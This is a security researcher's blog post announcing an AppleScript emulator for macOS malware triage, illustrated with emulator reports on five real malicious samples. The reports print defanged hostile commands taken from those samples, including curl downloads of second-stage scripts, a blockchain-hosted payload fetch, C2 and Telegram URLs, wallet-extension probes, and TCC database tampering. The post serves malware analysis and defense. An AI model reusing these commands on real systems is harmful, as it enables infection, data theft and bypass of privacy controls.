TLDR

Back in 2025, I started working on an AppleScript decompiler. The project has since grown into an AppleScript emulator, which I am releasing as pberba/applescript-tools, also available on PyPI.

The emulator addresses some pain points I’ve had:

  1. No macOS sandbox needed. If I analyze samples on a Linux box/container, I can analyze them right there, without spinning up a macOS sandbox.
  2. Sandbox reports can be incomplete. Some samples I’ve seen use basic anti-VM checks, so VirusTotal’s sandbox results miss their behaviour and their IOCs.
  3. Obfuscation matters less. It gives me a (hopefully) general way to extract IOCs from an AppleScript sample, whatever obfuscation it uses.

The rest of the post is structured as follows:

  • A quickstart guide on how to use the tool
  • 5 samples with varying levels of obfuscation and complexity to demonstrate the capabilities of the emulator
  • An overview of how the emulator works and its limitations

Usage

A quick rundown of the features. Given an AppleScript sample, you can analyze it with osatool emulate.

pip install applescript-tools
osatool emulate sample.scpt
# osatool emulate malware.zip

If it’s a compiled AppleScript, you can get the source back with:

osatool decompile sample.scpt

Some useful flags:

Flag What it does
--json Prints the report as JSON instead of text, for piping into other tools.
--brute-force Explores both sides of each if, to get past anti-VM, geo and sandbox checks. It reruns the script (up to 40 times) and reports the IOCs from every path.
-v Adds the trace before the IOCs: every shell command, download, file read/write and Apple event, in order. -vv also shows the decoded strings and suggested next steps.

Sample 1: Basic Obfuscation

The first sample we’ll look at is 3d73adf100878e20cdf8a1ada50038976e695522cc4c91fa6c85b95b67903e1d. We can see that it is a compiled AppleScript file. VirusTotal already shows us some potential indicators that we could use.

Decompiling with osatool decompile shows that the sample constructs the full shell command at runtime.

uv run osatool decompile ~/Downloads/26621605397.zip

Running osatool emulate, we are able to construct the full shell command without needing to run the sample in a sandbox.

$ uv run osatool emulate ~/Downloads/26621605397.zip
== Dropped files ==
  /tmp/MSTeamsSDKUpdater.scpt  «downloaded hxxps://teams02live[.]us[.]com/219566/check»  (deleted by the script)

== IOCs ==
shell_commands:
  curl -f -s -S -L -k hxxps://teams02live[.]us[.]com/219566/check -o /tmp/MSTeamsSDKUpdater.scpt && osacompile -o /tmp/MSTeamsSDKUpdater.scpt /tmp/MSTeamsSDKUpdater.scpt
  rm /tmp/MSTeamsSDKUpdater.scpt
urls:
  hxxps://teams02live[.]us[.]com/219566/check
domains:
  teams02live[.]us[.]com
files_written:
  /tmp/MSTeamsSDKUpdater.scpt
files_read:
  /tmp/MSTeamsSDKUpdater.scpt

The sandbox results would have given us the same result but we didn’t need to spin up a macOS sandbox for such a tiny script.

Sample 2: EtherHiding

The next sample is 66a45846226cc33d47f21c435d5855c9bcf15a91e1f5413c916833fcbb4eb377. This is a plaintext AppleScript file. We can see that the shell commands are dynamically constructed at runtime through a combination of (ASCII character X), (character id X) and string concatenation.

Running osatool emulate decodes the payloads. A feature I want to highlight here is that osatool comes with a best-effort offline compiler. This allows us to construct an AST for both compiled AppleScript and plaintext AppleScript samples.

$ uv run osatool emulate ~/Downloads/26642366928.zip
== IOCs ==
shell_commands:
  r=$(curl -s --max-time 15 hxxps://polygon[.]drpc[.]org -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'); h=$(echo "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p'); [ -z "$h" ]&&exit 1; l=$(printf "%d" "0x${h:64:64}"); echo "${h:128:$((l*2))}"|xxd -r -p
  ...
urls:
  hxxps://polygon[.]drpc[.]org
  hxxps://polygon[.]publicnode[.]com
  hxxps://polygon-mainnet[.]gateway[.]tatum[.]io
  hxxps://tenderly[.]rpc[.]polygon[.]community
domains:
  polygon[.]drpc[.]org
  polygon[.]publicnode[.]com
  polygon-mainnet[.]gateway[.]tatum[.]io
  tenderly[.]rpc[.]polygon[.]community

Through emulation, the method of obfuscation doesn’t matter as much. As long as the payload needs to be deobfuscated when it reaches points such as do shell script, then we’ll be able to extract the indicators.

Sample 3: Anti-VM

The third sample we have is 77f9762cdf9d26c0a1fc9c7a5353091093ff9d21ce46a9609004791094626372. It’s also a compiled AppleScript. The strings show a lot. However, the sandbox results and the extracted URLs didn’t give us a lot.

we see extension lists, anti-EDR lists and a C2

We only see one extracted URL hxxps://forumvashgol[.]online/did

And we only see profiling processes in the sandbox results.

Decompiling the sample, we see why the script never reaches those areas of execution. At the start of the script, it does 2 checks:

  1. checks if it’s in a VM and exits if it is
  2. does a GeoIP lookup and exits if it’s in CN

Running this in our emulator, we are able to extract so many more indicators. Some features to highlight here:

  1. It emulates a virtual file system, so probes to files are recorded.
  2. It records shell commands and extracts IOCs from them, whether they were constructed in AppleScript or decoded in the shell command (xxd and base64).
  3. It gives default responses that get past basic anti-VM profiling.
  4. For dropped files, it either previews the content or traces the curl request that generated it.
  5. --brute-force: whenever we encounter an if-then-else, we explore both paths to get the most coverage and IOCs.
$ uv run osatool emulate ~/Downloads/26644306526.zip --brute-force   
== Dropped files ==
  /Users/user/Library/Application Support/.gsync  «downloaded hxxp://forumvashgol[.]online/d/u92045219»
  /Users/user/Library/Application Support/.gsync2  «downloaded hxxp://switchpumpkin[.]com/d/u7333572»
  /Users/user/Library/Application Support/.s1  52679 bytes  data  sha256 71661ef43497b0b783092fa708c0cdcde9a3541c08a3361dbf41232e9434a6bf
  ...
== IOCs ==
shell_commands:
  ...
urls:
  hxxps://midas-shell[.]xyz/log/myip
  hxxps://midas-shell[.]xyz/log/ev
  hxxps://midas-shell[.]xyz/log/geo
  hxxps://midas-shell[.]xyz/log/dm
  hxxp://forumvashgol[.]online/d/u92045219
  hxxp://switchpumpkin[.]com/d/u7333572
  hxxp://85[.]193[.]68[.]244/d/u17729444
  hxxps://www[.]dropbox[.]com/scl/fi/oqsepxwai2emvug6h3i3t/JojoHub?rlkey=aqaqedsawbadflmvxquy0fahw&st=ob0v3yg1&dl=1
  hxxps://api[.]telegram[.]org/file/bot8750592563:AAH2VF4DS5cP_t1LAGpx5ipNQ1ouB01vV5c/documents/file_3
  hxxps://forumvashgol[.]online/did
domains:
  midas-shell[.]xyz
  forumvashgol[.]online
  switchpumpkin[.]com
  www[.]dropbox[.]com
  api[.]telegram[.]org
ips:
  85[.]193[.]68[.]244
files_written:
  ~/Library/Application Support/.gsync
  ~/Library/Application Support/.gsync2
  ~/Library/Application Support/.s1
  /tmp/.b1.emu01
  /tmp/.gauth_b64.tmp
  /tmp/.gauth_session.html
files_read:
  ~/.pwd
  ~/Library/Application Support/.gsync
  ~/Library/Application Support/.gsync2
  /tmp/.b1.emu01
  /tmp/.err001
  /tmp/.gauth_b64.tmp
files_executed:
  ~/Library/Application Support/.gsync
  ~/Library/Application Support/.s1
paths_probed:
  ~/Library/Application Support/Google/Chrome/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn
  ~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn
  ~/Library/Application Support/Microsoft Edge/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn
  ~/Library/Application Support/Arc/User Data/Default/Extensions/nkbihfbeogaeaoehlefnkodbefgpgknn
...

Sample 4: OSAMiner

We’ve previously looked at OSAMiner. This is an interesting sample because the sample does several things:

  1. Encrypts all strings with a shift cipher with key 100
  2. Drops a compiled AppleScript and runs that script
  3. Anti-VM checks such as checking if the machine has at least 100GB of disk space using System Events.

Using the sample from objective-see/Malware, we show that analyzing this sample is trivial with an emulator.

Some features of the emulator to highlight:

  1. Running with -v prints the trace, which shows the individual events in order.
  2. The emulator supports recursive run script. So the dropped compiled AppleScript k.plist was also evaluated.

--brute-force would show more

Sample 5: TCC

The last sample we’re looking at is from @oj-sec’s blog, 59912303968e90a7a94babf8822cc6d3f8624891ee21cce737a656f7383e4d79. The blog post describes interesting behaviours such as TCC manipulation. However, we see none of that in the sandbox results in VT.

Among all the samples in this post, this is the only one which implements its core functionality using the ObjC bridge. This is something that the emulator has limited support for.

The C2 for this is obfuscated with a reverse and a simple string substitution. (See the CyberChef recipe)

When running the emulator, we can see all the juicy commands that the blog post described.

$ uv run osatool emulate ~/Downloads/26592994821.zip      

== Dropped files ==
  /Users/user/Downloads/26592994821/59912303968e90a7a94babf8822cc6d3f8624891ee21cce737a656f7383e4d79  9 bytes  data  sha256 2a84b18d8239239703c63b3c5dcc6ac320efda557af27d8738b64beaa517d3a5  (deleted by the script)
  /Users/user/Library/Application Support/Applets/.svc.conf  104 bytes  text  sha256 138cce46ca9b37cf74e4c0b7f369be2b3fb329bb6d58d4f3389ed296021e098d
      '{\n  "sv": "https:\\/\\/cigalsn[.]com\\/wp-includes\\/php-compat\\/common\\/resources\\/interface",\n  "itv": 2…'
  ...

== IOCs ==
shell_commands:
  ...
  /bin/zsh -l -c 'ps -xo pid,user,comm | grep tccd | awk -v u=$(whoami) '"'"'$2==u {print $1}'"'"' | xargs kill -9'
  /bin/zsh -l -c 'rm -rf '"'"'/Users/user/Library/Application Support/Applets/applet.emu01x'"'"''
shell_commands_partial:
  # quoting simplified for readability
  sqlite3 '.../Applets/cat.db' 'INSERT OR REPLACE INTO access (service, client, client_type, auth_value, auth_reason, auth_version, csreq) VALUES ('kTCCServiceSystemPolicyAppData', '.../Applets/applet.emu01x.app/Contents/MacOS/applet', 1, 2, 4, 1, X'«hex of /tmp/agpXXX.emu01/csr.blob»');'
  ...
urls:
  hxxps://cigalsn[.]com/wp-includes/php-compat/common/resources/interface
  hxxps://cigalsn[.]com/wp-includes/php-compat/common/resources/interface.php?req=origin&tpl=071305_YZi&n=wqvCq05TU3RyaW5nwrsncyBpbml0V2l0aERhdGFfZW5jb2RpbmdfKMKrZG8gc2hlbGwgc2NyaXB0ICcvYmluL3pzaCAtbCAtYyBcJ2Jhc2VuYW1lIFwnIlwnIlwnL1VzZXJzL3VzZXIvRG93bmxvYWRzLzI2NTkyOTk0ODIxLzU5OTEyMzAzOTY4ZTkwYTdhOTRiYWJmODgyMmNjNmQzZjg2MjQ4OTFlZTIxY2NlNzM3YTY1NmY34oCmJ8K7LCA0KSBhcyB0ZXh0wrs=
  hxxps://cigalsn[.]com/wp-includes/php-compat/common/resources/interface.php?req=hold
  hxxps://cigalsn[.]com/wp-includes/php-compat/common/resources/interface.php?req=contact&msg=Q2Fu4oCZdCBzZXQgKG5hbWUgb2Ygc3JjRGlyKS4=&mt=GPD
  hxxps://cigalsn[.]com/wp-includes/php-compat/common/resources/interface.php?req=contact&msg=Q2Fu4oCZdCBzZXQgKG5hbWUgb2Ygc3JjRGlyKS4=&mt=SPD
domains:
  cigalsn[.]com

Note that some of the values here are emulator artefacts and not real IOCs. The n= and msg= parameters are base64 of placeholders and errors from the emulated ObjC calls (for example, msg= decodes to “Can’t set (name of srcDir).”). The host, path and parameter names are the parts worth keeping.

How it works

Previously, I worked on an AppleScript decompiler, and a key step of the decompilation process was to construct an abstract syntax tree (AST).

With a well constructed AST, we can start traversing nodes and perform the operations that the tree represents. This is essentially how the AppleScript emulator works.

In the example below, we handle set, if-then and expressions.

from applescript_tools import ast as A
from applescript_tools.emulator.cli import load_script_ast

variables = {}

def execute(statements):
    for s in statements:
        if isinstance(s, A.SetStatement):        # set x to <expr>
            variables[s.target.obj.name] = evaluate(s.value)
        elif isinstance(s, A.IfStatement):       # if <expr> then ... end if
            if evaluate(s.condition):
                execute(s.then_block)
        elif isinstance(s, A.ExprStatement):     # a command on its own line
            evaluate(s.expr)

def evaluate(node):
    if isinstance(node, A.StringLiteral):        # "dev"
        return node.value
    if isinstance(node, A.VariableRef):          # site
        return variables[node.name]
    if isinstance(node, A.BinaryOp):             # site is not "prod"
        return evaluate(node.left) != evaluate(node.right)
    if isinstance(node, A.CommandCall):          # do shell script cmd
        # shell placeholder
        return ""

script = load_script_ast("sample.scpt")          # run-only .scpt -> AST
execute(script.handlers[0].body)                 # the run handler's statements

We started off simple and just expanded this until it supported a good chunk of the AppleScript language. Just like the decompiler, this project started as a proof of concept written largely by hand. However, the scale and complexity of AppleScript, including Standard Additions, apps, the shell and the ObjC bridge, would have made this project untenable for me alone. This project is definitely LLM assisted.

Brute Force

One interesting thing we can do, since we control how we traverse the AST, is explore both branches when we encounter a conditional (if-then-else). This is especially useful when the conditional uses a value that is dynamic or unknown, such as the output of do shell script.

The emulator runs the script normally, then runs it again with one if at a time taken the other way. It keeps the run that shows the most IOCs and repeats from there, up to 40 runs. IOCs that are only reached this way are possible, not observed.

Limitations

First, this only handles AppleScript. It doesn’t emulate JXA.

Next, this project has a lot of moving parts, and each of them could fail or have a bug. For most samples, the AST needs to be constructed first. This is done by either:

  1. compiled AppleScript: decompiling the sample to reconstruct the AST
  2. plaintext AppleScript: parsing and compiling the source to construct the AST

And for each AST, we hope that we have emulated it properly. The emulation consists of:

  1. the core interpreter loop
  2. Apple Events handling emulation
  3. shell emulation
  4. ObjC bridge

Each of these moving parts is imperfect, and the errors can compound. To mitigate this, when a script uses something that is not modelled, the report prints a warning: line. See emulation-model.md for what is and is not covered.

Lastly, the emulator doesn’t make network requests, so values fetched at runtime stay as placeholders, as we saw in Sample 2.

Final Notes

I think the AppleScript emulator is sick. Feel free to use it to automate malware triage and IOC extraction. If you run into problems, please file an issue. I’ve previously neglected issues, but I have a better loop now 🤞. Ultimately, this is done in my spare time.

I’ve been trying to dogfood this for a while now, but a lot of the project is still experimental. And I’m still 50-50 on some features. For example, adding a --fetch flag so that curl requests are fetched by the emulator, to hopefully grab the 2nd stage payload while it’s still live.